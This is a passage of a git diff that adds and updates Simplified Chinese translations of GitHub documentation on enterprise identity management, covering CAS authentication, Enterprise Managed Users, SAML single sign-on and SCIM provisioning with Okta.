09/05/2022 +ms.locfileid: '145099968' --- diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md b/translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md index 80a7879125..53e4d8f402 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md @@ -1,5 +1,5 @@ --- -title: Using CAS +title: 使用 CAS redirect_from: - /enterprise/admin/articles/configuring-cas-authentication - /enterprise/admin/articles/about-cas-authentication @@ -8,7 +8,7 @@ redirect_from: - /admin/authentication/using-cas - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-cas -intro: 'If you use Central Authentication Service (CAS) to centralize access to multiple web applications, you can integrate {% data variables.product.product_name %} by configuring CAS authentication for your instance.' +intro: '如果使用中央身份验证服务 (CAS) 集中访问多个 Web 应用程序,可以通过为实例配置 CAS 身份验证来集成 {% data variables.product.product_name %}。' versions: ghes: '*' type: how_to @@ -18,39 +18,42 @@ topics: - Enterprise - Identity - SSO +ms.openlocfilehash: 4bd9c8baf32ab09c593a251ca4f1cb698e075501 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884275' --- +## 关于 {% data variables.product.product_name %} 的 CAS 身份验证 -## About CAS authentication for {% data variables.product.product_name %} +CAS 是一种单一登录 (SSO) 协议,可集中管理多个 Web 应用程序的身份验证。 有关详细信息,请参阅维基百科上的“[集中身份验证服务](https://en.wikipedia.org/wiki/Central_Authentication_Service)”。 -CAS is a single sign-on (SSO) protocol that centralizes authentication to multiple web applications. For more information, see "[Central Authentication Service](https://en.wikipedia.org/wiki/Central_Authentication_Service)" on Wikipedia. +配置 CAS 后,使用 {% data variables.product.product_location %} 的人员必须使用个人访问令牌通过 HTTP(S) 对 API 或 Git 请求进行身份验证。 不能使用 CAS 凭据对这些请求进行身份验证。 有关详细信息,请参阅“[创建个人访问令牌](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。 -After you configure CAS, people who use {% data variables.location.product_location %} must use a {% data variables.product.pat_generic %} to authenticate API or Git requests over HTTP(S). CAS credentials cannot be used to authenticate these requests. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." - -If you configure CAS, people with accounts on your identity provider (IdP) do not consume a user license until the person signs into {% data variables.location.product_location %}. +如果配置 CAS,则在标识提供者 (IdP) 上拥有帐户的用户在登录 {% data variables.product.product_location %} 之前不会使用用户许可证。 {% data reusables.enterprise_user_management.built-in-authentication %} -## Username considerations with CAS +## 使用 CAS 时的用户名考量因素 -{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)." +{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} 有关详细信息,请参阅“[外部身份验证的用户名注意事项](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)”。 -## CAS attributes +## CAS 属性 -The following attributes are available. +以下属性可用。 -| Attribute name | Type | Description | +| 特性名 | 类型 | 说明 | |--------------------------|----------|-------------| -| `username` | Required | The {% data variables.product.prodname_ghe_server %} username. | +| `username` | 必需 | {% data variables.product.prodname_ghe_server %} 用户名。 | -## Configuring CAS +## 配置 CAS -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -3. Select **CAS**. +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} +3. 选择“CAS”。 - ![Screenshot of selection of CAS for authentication](/assets/images/enterprise/management-console/cas-select.png) + ![用于身份验证的 CAS 选择的屏幕截图](/assets/images/enterprise/management-console/cas-select.png) 4. {% data reusables.enterprise_user_management.built-in-authentication-option %} - ![Screenshot of of fallback built-in authentication option for CAS](/assets/images/enterprise/management-console/cas-built-in-authentication.png) -5. In the **Server URL** field, type the full URL of your CAS server. If your CAS server uses a certificate that can't be validated by {% data variables.product.prodname_ghe_server %}, you can use the `ghe-ssl-ca-certificate-install` command to install it as a trusted certificate. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-install)." + ![CAS 的回退内置身份验证选项的屏幕截图](/assets/images/enterprise/management-console/cas-built-in-authentication.png) +5. 在“服务器 URL”字段中,键入 CAS 服务器的完整 URL。 如果 {% data variables.product.prodname_ghe_server %} 无法验证 CAS 服务器使用的证书,可以使用 `ghe-ssl-ca-certificate-install` 命令将其安装为受信任的证书。 有关详细信息,请参阅“[命令行实用程序](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-install)”。 diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users.md b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users.md new file mode 100644 index 0000000000..a338acf173 --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users.md @@ -0,0 +1,102 @@ +--- +title: 关于 Enterprise 托管用户 +shortTitle: About managed users +intro: You can centrally manage identity and access for your enterprise members on {% data variables.product.prodname_dotcom %} from your identity provider. +product: '{% data reusables.gated-features.emus %}' +redirect_from: +- /early-access/github/articles/get-started-with-managed-users-for-your-enterprise +- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users +- /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users +- /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users +versions: + ghec: '*' +type: overview +topics: +- Accounts +- Authentication +- Enterprise +- SSO +ms.openlocfilehash: 9ca2be64f3806cf8b7b449ea64532c5ae2b17782 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145099044" +--- +## 关于 {% data variables.product.prodname_emus %} + +使用 {% data variables.product.prodname_emus %},可以通过标识提供者 (IdP) 控制企业成员的用户帐户。 可以使用 SAML 单一登录 (SSO) 简化身份验证,并为企业成员预配、更新和取消预配用户帐户。 IdP 中分配给 {% data variables.product.prodname_emu_idp_application %} 应用程序的用户将会预配为 {% data variables.product.prodname_dotcom %} 上的新用户帐户,并添加到企业中。 可以通过 IdP 控制用户名、配置文件数据、团队成员身份和存储库访问权限。 + +在 IdP 中,你可以为每个 {% data variables.product.prodname_managed_user %} 提供用户、企业所有者或帐单管理员的角色。 {% data variables.product.prodname_managed_users_caps %} 可以拥有企业内的组织,并且可以将其他 {% data variables.product.prodname_managed_users %} 添加到组织和其中的团队。 有关详细信息,请参阅“[企业中的角色](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)”和“[关于组织](/organizations/collaborating-with-groups-in-organizations/about-organizations)”。 + +将 {% data variables.product.prodname_managed_users %} 添加到连接到组织内团队的 IdP 组后,可以手动管理或自动更新组织成员身份。 将 {% data variables.product.prodname_managed_user %} 手动添加到组织后,从 IdP 上的 {% data variables.product.prodname_emu_idp_application %} 应用程序中取消分配它们将暂停用户,但不会将其从组织中删除。 有关自动管理组织和团队成员身份的详细信息,请参阅“[使用标识提供者组管理团队成员身份](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)”。 + +可以授予 {% data variables.product.prodname_managed_users %} 访问权限以及参与企业内部存储库的能力,但 {% data variables.product.prodname_managed_users %} 无法创建公共内容,也不能与其他用户、组织和企业协作处理 {% data variables.product.prodname_dotcom %} 的其余部分。 不能邀请为企业预配的 {% data variables.product.prodname_managed_users %} 加入企业外部的组织或存储库,也不能邀请 {% data variables.product.prodname_managed_users %} 加入其他企业。 {% data variables.product.prodname_emus %} 不支持外部协作者。 + +企业的 {% data variables.product.prodname_managed_users %} 的用户名及其个人资料信息(例如显示名称和电子邮件地址)通过 IdP 设置,用户无法自行更改。 有关详细信息,请参阅“[用户名和个人资料信息](#usernames-and-profile-information)”。 + +{% data reusables.enterprise-accounts.emu-forks %} + +企业所有者可以审核 {% data variables.product.prodname_dotcom %} 上的所有 {% data variables.product.prodname_managed_users %}' 操作。 + +若要使用 {% data variables.product.prodname_emus %},需要启用了 {% data variables.product.prodname_emus %} 的单独企业帐户类型。 有关创建此帐户的详细信息,请参阅“[关于具有托管用户的企业](#about-enterprises-with-managed-users)”。 + + +## 标识提供者支持 + +{% data variables.product.prodname_emus %} 支持以下 IdP: + +{% data reusables.enterprise-accounts.emu-supported-idps %} + +## {% data variables.product.prodname_managed_users %} 的功能和限制 + +{% data variables.product.prodname_managed_users_caps %} 只能参与企业中的专用和内部存储库及其用户帐户拥有的专用存储库。 {% data variables.product.prodname_managed_users_caps %} 对更广泛的 {% data variables.product.prodname_dotcom %} 社区具有只读访问权限。 这些针对用户和内容的可见性和访问限制适用于所有请求,包括 API 请求。 + +* {% data variables.product.prodname_managed_users_caps %} 无法在企业外部的存储库中创建问题或拉取请求、添加评论或添加反应,也不能加注星标、监视或创建分支。 +* {% data variables.product.prodname_managed_users_caps %} 可以查看 {% data variables.product.prodname_dotcom_the_website %} 上的所有公共存储库,但无法将代码推送到企业外部的存储库。 +* {% data variables.product.prodname_managed_users_caps %} 和创建的内容只对企业的其他成员可见。 +* {% data variables.product.prodname_managed_users_caps %} 无法关注企业外部的用户。 +* {% data variables.product.prodname_managed_users_caps %} 无法创建 Gist 或对 Gist 添加评论。 +* {% data variables.product.prodname_managed_users_caps %} 无法在其用户帐户上安装 {% data variables.product.prodname_github_apps %}。 +* 其他 {% data variables.product.prodname_dotcom %} 用户无法查看、提及或邀请 {% data variables.product.prodname_managed_user %} 进行协作。 +* {% data variables.product.prodname_managed_users_caps %} 只能拥有专用数据库,而 {% data variables.product.prodname_managed_users %} 只能邀请其他企业成员在其自己的存储库上进行协作。 +* 只能在 {% data variables.product.prodname_emu_enterprise %} 拥有的组织中创建专用和内部存储库,具体取决于组织和企业存储库可见性设置。 +* {% data variables.product.prodname_managed_users_caps %} 在使用 {% data variables.product.prodname_pages %} 方面受到限制。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)”。 + +## 关于具有托管用户的企业 + +若要使用 {% data variables.product.prodname_emus %},需要启用了 {% data variables.product.prodname_emus %} 的单独企业帐户类型。 若要试用 {% data variables.product.prodname_emus %} 或讨论从现有企业迁移的选项,请联系 [{% data variables.product.prodname_dotcom %} 的销售团队](https://enterprise.github.com/contact)。 + +GitHub 销售团队的联系人将与你合作创建新的 {% data variables.product.prodname_emu_enterprise %}。 你需要为将设置企业的用户提供电子邮件地址,以及一个短代码,该代码将用作企业成员用户名的后缀。 {% data reusables.enterprise-accounts.emu-shortcode %} 有关详细信息,请参阅“[用户名和个人资料信息](#usernames-and-profile-information)”。 + +创建企业后,你将收到来自 {% data variables.product.prodname_dotcom %} 的电子邮件,邀请你为企业的设置用户选择密码,该用户将是企业的第一个所有者。 设置密码时,请使用隐身或专用浏览窗口。 设置用户仅用于为企业配置 SAML 单一登录和 SCIM 预配集成。 成功启用 SAML 后,设置用户将不再有权管理企业帐户。 + +设置用户的用户名是企业的短代码,后缀为 `_admin`。 登录到设置用户后,可以开始为企业配置 SAML SSO。 有关详细信息,请参阅“[为 Enterprise Managed User 配置 SAML 单一登录](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)”。 + +{% note %} + +{% data reusables.enterprise-accounts.emu-password-reset-session %} + +{% endnote %} + +## 作为 {% data variables.product.prodname_managed_user %} 进行身份验证 + +{% data variables.product.prodname_managed_users_caps %} 必须通过其标识提供者进行身份验证。 若要进行身份验证,{% data variables.product.prodname_managed_user %} 可以访问其 IdP 应用程序门户或使用 {% data variables.product.prodname_dotcom_the_website %} 上的登录页。 + +{% data reusables.enterprise-accounts.about-recovery-codes %} 有关详细信息,请参阅“[管理企业的恢复代码](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)”。 + +### 通过 {% data variables.product.prodname_dotcom_the_website %} 作为 {% data variables.product.prodname_managed_user %} 进行身份验证 + +1. 导航到 [https://github.com/login](https://github.com/login)。 +1. 在“用户名或电子邮件地址”文本框中,输入用户名,包括下划线和短代码。 + ![显示登录表单的屏幕截图](/assets/images/help/enterprises/emu-login-username.png) 表单识别用户名后将更新。 无需在此表单中输入密码。 +1. 若要继续访问标识提供者,请单击“使用标识提供者登录”。 + ![显示“使用标识提供者登录”按钮的屏幕截图](/assets/images/help/enterprises/emu-login-submit.png) + +## 用户名和个人资料信息 + +{% data variables.product.product_name %} 通过规范 IdP 提供的标识符自动为每个用户创建用户名。 有关详细信息,请参阅“[外部身份验证的用户名注意事项](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)”。 + +如果在规范化期间删除 IdP 提供的标识符的唯一部分,则预配用户时可能会发生冲突。 如果由于用户名冲突而无法预配用户,则应修改 IdP 提供的用户名。 有关详细信息,请参阅“[解决用户名冲突](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-conflicts)”。 + +IdP 还提供了 {% data variables.product.prodname_managed_user %} 的个人资料名称和电子邮件地址。 {% data variables.product.prodname_managed_users_caps %} 无法更改 {% data variables.product.prodname_dotcom %} 上的个人资料名称或电子邮件地址。 diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md new file mode 100644 index 0000000000..e3e6515004 --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md @@ -0,0 +1,119 @@ +--- +title: 为企业托管用户配置 SAML 单一登录 +shortTitle: SAML for managed users +intro: You can automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring Security Assertion Markup Language (SAML) single sign-on (SSO). +product: '{% data reusables.gated-features.emus %}' +redirect_from: +- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users +- /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users +- /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users +versions: + ghec: '*' +type: tutorial +topics: +- Authentication +- Enterprise +- SSO +ms.openlocfilehash: fc932d913cb104f4555e4151620469769b4ef99a +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145099969" +--- +## 关于 {% data variables.product.prodname_emus %} 的 SAML 单一登录 + +通过 {% data variables.product.prodname_emus %},企业使用 SAML SSO 对所有成员进行身份验证。 你的企业成员将通过 IdP 登录,而不是使用 {% data variables.product.prodname_dotcom %} 用户名和密码登录到 {% data variables.product.prodname_dotcom %}。 + +{% data variables.product.prodname_emus %} 支持以下 IdP: + +{% data reusables.enterprise-accounts.emu-supported-idps %} + +配置 SAML SSO 后,我们建议存储恢复代码,以便在标识提供者不可用时恢复对企业的访问权限。 + +{% note %} + +注意:启用 SAML SSO 后,可在 {% data variables.product.prodname_dotcom %} 上为现有的 SAML 配置所更新的唯一设置是 SAML 证书。 如果需要更新登录 URL 或颁发者,必须首先禁用 SAML SSO,然后使用新设置重新配置 SAML SSO。 + +{% endnote %} + +## 配置 {% data variables.product.prodname_emus %} 的 SAML 单一登录 + +要为 {% data variables.product.prodname_emu_enterprise %} 配置 SAML SSO,需要在 IdP 上配置应用程序,然后在 GitHub.com 上配置企业。 配置 SAML SSO 后,可以配置用户预配。 + +要在 IdP 上安装和配置 {% data variables.product.prodname_emu_idp_application %} 应用程序,必须在受支持的 IdP 上拥有租户和管理访问权限。 + +{% note %} + +{% data reusables.enterprise-accounts.emu-password-reset-session %} + +{% endnote %} + +1. [配置标识提供者](#configuring-your-identity-provider) +2. [配置企业](#configuring-your-enterprise) +3. [启用设置](#enabling-provisioning) + +### 配置标识提供者 + +要配置 IdP,请按照他们提供的说明在 IdP 上配置 {% data variables.product.prodname_emu_idp_application %} 应用程序。 + +1. 要安装 {% data variables.product.prodname_emu_idp_application %} 应用程序,请单击下面的 IdP 链接: + + - [Azure Active Directory 上的 {% data variables.product.prodname_emu_idp_application %} 应用程序](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aad.githubenterprisemanageduser?tab=Overview) + - [Okta 上的 {% data variables.product.prodname_emu_idp_application %} 应用程序](https://www.okta.com/integrations/github-enterprise-managed-user) + +1. 要配置 {% data variables.product.prodname_emu_idp_application %} 应用程序和 IdP,请单击以下链接,并按照 IdP 提供的说明进行操作: + + - [{% data variables.product.prodname_emus %} 的 Azure Active Directory 教程](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-tutorial) + - [{% data variables.product.prodname_emus %} 的 Okta 文档](https://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-GitHub-Enterprise-Managed-User.html) + +1. 因此,你可以测试和配置企业,将自己或将在 {% data variables.product.prodname_dotcom %} 上配置 SAML SSO 的用户分配到 IdP 上的 {% data variables.product.prodname_emu_idp_application %} 应用程序。 + +1. 若要能够继续在 {% data variables.product.prodname_dotcom %} 上配置企业,请找到并记下在 IdP 上安装的应用程序的以下信息: + + | 值 | 其他名称 | 说明 | + | :- | :- | :- | + | IdP 登录 URL | 登录 URL、IdP URL | IdP 上的应用程序的 URL | + | IdP 标识符 URL | 颁发者 | 用于 SAML 身份验证的服务提供商的 IdP 标识符 | + | 签名证书,Base64 编码 | 公用证书 | IdP 用于对身份验证请求进行签名的公共证书 | + +### 配置企业 + +在标识提供者上安装并配置 {% data variables.product.prodname_emu_idp_application %} 应用程序之后,便可以配置企业。 + +1. 使用用户名“@SHORT-CODE_admin”以新企业的安装用户身份登录到 {% data variables.product.prodname_dotcom_the_website %}。 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} + +1. 在“SAML 单一登录”下,选择“要求 SAML 身份验证”。 + ![用于启用 SAML SSO 的复选框](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png) + +1. 在“登录 URL”下,键入在配置 IdP 时记下的用于单一登录请求的 IdP 的 HTTPS 终结点。 +![登录时将成员转发到的 URL 字段](/assets/images/help/saml/saml_sign_on_url_business.png) + +1. (可选)在“颁发者”字段下,输入在配置 IdP 时记下的 SAML 颁发者 URL,以验证发送的消息的真实性。 +![SAML 颁发者的姓名字段](/assets/images/help/saml/saml_issuer.png) + +1. 在“公共证书”下,粘贴在配置 IdP 时记下的证书以验证 SAML 响应。 +![标识提供程序的公共证书字段](/assets/images/help/saml/saml_public_certificate.png) + +1. 要验证来自 SAML 签发者的请求的完整性,请单击 {% octicon "pencil" aria-label="The edit icon" %}。 然后,在“签名方法”和“摘要方法”下拉菜单中,选择 SAML 签发者使用的哈希算法。 +![SAML 颁发者使用的签名方法和摘要方法哈希算法下拉列表](/assets/images/help/saml/saml_hashing_method.png) + +1. 在为企业启用 SAML SSO 之前,单击“测试 SMAL 配置”,以确保已输入的信息正确。 ![实施前测试 SAML 配置的按钮](/assets/images/help/saml/saml_test.png) + +1. 单击“ **保存**”。 + + {% note %} + + 注意:当企业需要 SAML SSO 时,安装用户将不再有权访问企业,但将保持登录到 GitHub。 只有 IdP 预配的 {% data variables.product.prodname_managed_users %} 才能访问企业。 + + {% endnote %} + +{% data reusables.enterprise-accounts.download-recovery-codes %} + + +### 启用设置 + +启用 SAML SSO 后,启用预配。 有关详细信息,请参阅“[为企业托管用户配置 SCIM 预配](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users)”。 + diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md new file mode 100644 index 0000000000..d5c3ada996 --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md @@ -0,0 +1,95 @@ +--- +title: 使用 Okta 为企业托管用户配置 SCIM 预配 +shortTitle: Set up provisioning with Okta +intro: You can provision new users and manage their membership of your enterprise and teams using Okta as your identity provider. +product: '{% data reusables.gated-features.emus %}' +versions: + ghec: '*' +redirect_from: +- /early-access/github/articles/configuring-provisioning-for-managed-users-with-okta +- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta +- /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta +- /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta +type: tutorial +topics: +- Accounts +- Authentication +- Enterprise +- SSO +ms.openlocfilehash: 6c143b8ef729ab7343cf14613acf5f528384135c +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145098059" +--- +## 关于使用 Okta 进行预配 + +您可以使用 {% data variables.product.prodname_emus %} Okta 作为您的身份提供商来预配新帐户、管理企业成员身份以及管理企业中组织的团队成员身份。 有关预配 {% data variables.product.prodname_emus %} 的详细信息,请参阅“[为 Enterprise Managed User 配置 SCIM 预配](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users)”。 + +在使用 Okta 配置预配之前,必须配置 SAML 单点登录。 有关详细信息,请参阅“[为 Enterprise Managed User 配置 SAML 单一登录](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)”。 + +要使用 Okta 配置预配,必须在 {% data variables.product.prodname_emu_idp_application %} 应用程序中设置企业名称,并输入安装用户的个人访问令牌。 然后,您可以在 Okta 中开始预配用户。 + +## 支持的功能 + +{% data variables.product.prodname_emus %} 支持 Okta 中的许多预配功能。 + +| 功能 | 说明 | +| --- | --- | +| 推送新用户 | 分配给 Okta 中的 {% data variables.product.prodname_emu_idp_application %} 应用程序的用户将在 {% data variables.product.product_name %} 上自动创建。 | +| 推送配置文件更新 | 对 Okta 中的用户配置文件所做的更新将被推送到 {% data variables.product.product_name %}。 | +| 推送组 | Okta 中作为推送组分配给 {% data variables.product.prodname_emu_idp_application %} 应用程序的组将在 {% data variables.product.product_name %} 上自动创建。 | +| 推送用户停用 | 从 Okta 中的 {% data variables.product.prodname_emu_idp_application %} 应用程序中取消分配用户将在 {% data variables.product.product_name %} 上禁用该用户。 用户将无法登录,但会保留用户的信息。 | +| 重新激活用户 | 将启用 Okta 中已重新激活其 Okta 帐户并将其分配回 {% data variables.product.prodname_emu_idp_application %} 应用程序的用户。 | + +{% note %} + +**注意:** {% data variables.product.prodname_emus %} 不支持修改用户名。 + +{% endnote %} + +## 设置企业名称 + +创建 {% data variables.product.prodname_emu_enterprise %} 后,可以通过在 Okta 中设置企业名称来开始配置预配。 + +1. 导航到 Okta 上的 {% data variables.product.prodname_emu_idp_application %} 应用程序。 +1. 单击“登录”选项卡。 +1. 若要进行更改,请单击“编辑”。 +1. 在“Advanced Sign-on Settings(高级登录设置)”下的“Enterprise Name(企业名称)”文本框中,键入您的企业名称。 例如,如果你在 `https://github.com/enterprises/octoinc` 访问你的企业,则你的企业名称将为“octoinc”。 +![Okta 上的“企业名称”字段的屏幕截图](/assets/images/help/enterprises/okta-emu-enterprise-name.png) +1. 若要保存企业名称,请单击“保存”。 + +## 配置预配 + +设置企业名称后,可以继续配置预配设置。 + +若要配置预配,具有 @SHORT-CODE_admin 用户名的安装用户将需要提供 admin:enterprise 作用域的个人访问令牌 。 有关创建新令牌的详细信息,请参阅“[创建个人访问令牌](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token)”。 + +1. 导航到 Okta 上的 {% data variables.product.prodname_emu_idp_application %} 应用程序。 +1. 单击 **资源调配** 选项卡。 +1. 在“设置”菜单中,单击“集成”。 +1. 若要进行更改,请单击“编辑”。 +1. 选择“启用 API 集成”。 +1. 在“API 令牌”字段中,输入属于安装用户的作用域为 admin:enterprise 的个人访问令牌。 +![显示 Okta 上的 API 令牌字段的屏幕截图](/assets/images/help/enterprises/okta-emu-token.png) +1. 单击“测试 API 凭据”。 如果测试成功,屏幕顶部将显示一条验证消息。 +1. 若要保存令牌,请单击“保存”。 +1. 在“设置”菜单中,单击“转到应用”。 +![显示 Okta 上的“转到应用”菜单项的屏幕截图](/assets/images/help/enterprises/okta-emu-to-app-menu.png) +1. 在“预配到应用”的右侧,要允许进行更改,请单击“编辑”。 +1. 对于“创建用户”、“更新用户属性”和“停用用户”,选择“启用” 。 +![显示 Okta 上的预配选项的屏幕截图](/assets/images/help/enterprises/okta-emu-provisioning-to-app.png) +1. 若要完成配置预配,请单击“保存”。 + +## 分配用户和组 + +配置 SAML SSO 和预配后,您可以通过将用户分配到 {% data variables.product.prodname_emu_idp_application %} 应用程序在 {% data variables.product.prodname_dotcom_the_website %} 上预配新用户。 + +{% data reusables.scim.emu-scim-rate-limit %} + +您还可以通过将组分配给应用程序并将其添加到 Okta 中的“Push Groups(推送组)”选项卡来自动管理组织成员身份。 成功预配组后,该组将可用于连接到企业组织中的团队。 有关管理团队的详细信息,请参阅“[使用标识提供者组管理团队成员身份](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)”。 + +分配用户时,可以使用 {% data variables.product.prodname_emu_idp_application %} 应用程序中的“角色”属性在 {% data variables.product.product_name %} 上设置用户在企业中的角色。 有关角色的详细信息,请参阅“[企业中的角色](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)”。 + +![显示 Okta 上已预配用户的角色选项的屏幕截图](/assets/images/help/enterprises/okta-emu-user-role.png) diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md new file mode 100644 index 0000000000..8a75a017bf --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md @@ -0,0 +1,67 @@ +--- +title: 为 Enterprise Managed User 配置 SCIM 预配 +shortTitle: Provisioning managed users +intro: You can configure your identity provider to provision new users and manage their membership in your enterprise and teams. +product: '{% data reusables.gated-features.emus %}' +redirect_from: +- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users +- /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users +- /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users +versions: + ghec: '*' +topics: +- Accounts +- Enterprise +ms.openlocfilehash: 7bd9d539218492c474f7a530636ac7719ff14f44 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145099043" +--- +## 关于 {% data variables.product.prodname_emus %} 的预配 + +必须为 {% data variables.product.prodname_emus %} 配置预配才能为企业成员创建、管理和停用用户帐户。 为 {% data variables.product.prodname_emus %} 配置预配时,在标识提供者中分配给 {% data variables.product.prodname_emu_idp_application %} 应用程序的用户将通过 SCIM 预配为 {% data variables.product.prodname_dotcom %} 上的新用户帐户,并且这些用户将添加到你的企业中。 + +在 IdP 上更新与用户标识关联的信息时,IdP 将在 GitHub.com 上更新用户的帐户。 从 {% data variables.product.prodname_emu_idp_application %} 应用程序取消分配用户或停用 IdP 上的用户帐户时,IdP 将与 {% data variables.product.prodname_dotcom %} 进行通信,以使任何 SAML 会话失效并禁用该成员的帐户。 已禁用帐户的信息会保留,其用户名将更改为原始用户名的哈希,并追加短代码。 如果将用户重新分配到 {% data variables.product.prodname_emu_idp_application %} 应用程序或在 IdP 上重新激活其帐户,则会重新激活 {% data 